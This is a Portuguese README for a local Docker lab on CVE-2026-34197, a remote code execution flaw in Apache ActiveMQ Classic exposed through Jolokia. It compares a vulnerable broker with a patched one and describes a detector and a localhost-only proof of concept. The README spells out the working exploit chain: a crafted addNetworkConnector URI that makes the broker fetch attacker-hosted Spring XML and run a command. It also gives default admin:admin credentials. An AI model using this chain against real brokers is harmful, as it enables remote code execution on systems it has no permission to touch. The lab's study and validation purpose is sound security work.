
# Laboratório Docker demonstrando CVE-2026-34197, uma RCE no Apache ActiveMQ Classic via Jolokia. Inclui um detector seguro e um PoC apenas local com comando fixo, comparando versões vulneráveis e corrigidas.
Este repositório é um laboratório Docker local para estudar a CVE-2026-34197, um problema de execução remota de código no Apache ActiveMQ Classic acessível através da API Jolokia JMX-HTTP.
O laboratório compara duas instâncias do ActiveMQ Classic lado a lado:
| Serviço | Versão | Finalidade | URL |
|---|
vuln | 5.19.3 | Alvo vulnerável | http://127.0.0.1:8081 |
patched | 5.19.4 | Alvo de comparação corrigido | http://127.0.0.1:8082 |
O repositório contém dois scripts de prova:
| Script | Finalidade | Modelo de segurança |
|---|---|---|
poc/detect.py | Detector autorizado | Somente HTTP; não explora |
poc/poc.py | Prova de caminho RCE somente local | Comando fixo apenas: id; whoami; sleep 5 |
A evidência de execução é verificada separadamente pelo operador usando ferramentas de observação de processos, como strace.
A CVE-2026-34197 afeta versões do Apache ActiveMQ Classic onde um usuário autenticado pode usar a API Jolokia para invocar operações de gerenciamento do broker e fazer com que a JVM do broker carregue Spring XML controlado pelo atacante através de uma URI brokerConfig=xbean:http://... manipulada.
O fluxo vulnerável demonstrado neste laboratório é:
Jolokia /api/jolokia/
-> Operação do MBean do Broker
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> Busca remota de Spring XML
-> Inicialização do bean ProcessBuilder
-> comando de prova local fixo
O serviço corrigido bloqueia este caminho antes que o XML seja buscado e retorna um erro semelhante a:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml executa os serviços ActiveMQ vulnerável e corrigido.vuln/Dockerfile compila o Apache ActiveMQ Classic 5.19.3.patched/Dockerfile compila o Apache ActiveMQ Classic 5.19.4.poc/detect.py verifica a exposição do Jolokia, a versão do ActiveMQ e a visibilidade do MBean do Broker.poc/poc.py aciona o caminho RCE somente local usando um comando benigno fixo.images/strace.png contém evidências locais de observação de processos do serviço vulnerável..gitignore exclui artefatos locais, arquivos de cache Python, ambientes virtuais, logs e segredos.Este repositório destina-se apenas ao uso em laboratório local e à validação de segurança autorizada.
O PoC é deliberadamente restrito:
id; whoami; sleep 5.strace.Alvos locais permitidos para poc.py:
127.0.0.1
localhost
::1
Não use este repositório contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
docker compose down -v
docker compose build
docker compose up -d
Verifique o status do serviço:
docker compose ps
Serviços esperados:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
Verifique o serviço vulnerável:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
Verifique o serviço corrigido:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
Versões esperadas:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py é o script padrão seguro. Ele não explora o alvo.
Ele verifica:
/api/jolokia/version está acessível;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
Resultado esperado:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
O detector marca um alvo como LIKELY_VULNERABLE quando:
Jolokia está acessível
+
A versão do ActiveMQ está em uma faixa afetada
Faixas afetadas usadas por este laboratório:
5.x < 5.19.4
6.x < 6.2.3
A visibilidade do MBean do Broker é usada como evidência de confiança porque o caminho de exploração depende de operações de gerenciamento do broker.
O detector não afirma CONFIRMED_RCE.
poc/poc.py demonstra o caminho RCE no laboratório Docker local.
Ele inicia um servidor HTTP temporário no host e serve um payload Spring XML em um caminho exclusivo por execução:
/evil-<nonce>.xml
Em seguida, ele invoca o MBean do Broker ActiveMQ através do Jolokia:
addNetworkConnector(java.lang.String)
com uma URI de descoberta manipulada:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
O broker vulnerável busca este XML. O broker corrigido bloqueia o esquema de transporte vm:// antes de buscar o XML.
Após uma execução vulnerável, o NetworkConnector criado pode tentar buscar novamente o caminho XML antigo. O script usa um nonce exclusivo por execução e rastreia matches_current_run para evitar falsos positivos.
Um acerto só é contado como execução atual se corresponder a:
/evil-<nonce-atual>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Saída esperada:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
Isso confirma que o ActiveMQ 5.19.3 pode ser induzido a buscar Spring XML controlado pelo atacante através do caminho do broker gerenciado pelo Jolokia.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
Saída esperada:
VM scheme is not allowed
[-] No XML fetch observed for this run.
Se acertos de uma execução vulnerável mais antiga aparecerem, eles devem mostrar:
"matches_current_run": false
Esses não são contados como sucesso do serviço corrigido.
O script PoC não coleta a saída do comando. Para confirmar a execução do comando, observe a criação de processos dentro do contêiner vulnerável.
Entre no contêiner vulnerável como root:
docker exec -it --user root cve-2026-34197-vuln bash
Encontre o processo Java:
pgrep -af java
Anexe o strace ao PID do Java:
strace -f -e execve -p <JAVA_PID>
Em outro terminal, execute o PoC contra o serviço vulnerável:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Evidência esperada do strace:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
Esta é a evidência em nível de sistema operacional de que o comando de prova fixo foi executado pela JVM do broker.

O PoC tenta remover o nome padrão do NetworkConnector NC antes de acionar. Isso mantém execuções repetidas do laboratório previsíveis.
Limpeza manual:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
Ou reinicie o laboratório:
docker compose restart vuln patched
| Teste | Vulnerável 5.19.3 | Corrigido 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Acesso Jolokia | Acessível com autenticação | Acessível com autenticação |
| MBean do Broker | Visível | Visível |
Busca XML do poc.py | Sim | Não |
| Assinatura de bloqueio corrigida | N/A | VM scheme is not allowed |
| Evidência de comando strace | /bin/sh -c 'id; whoami; sleep 5' | Não esperada |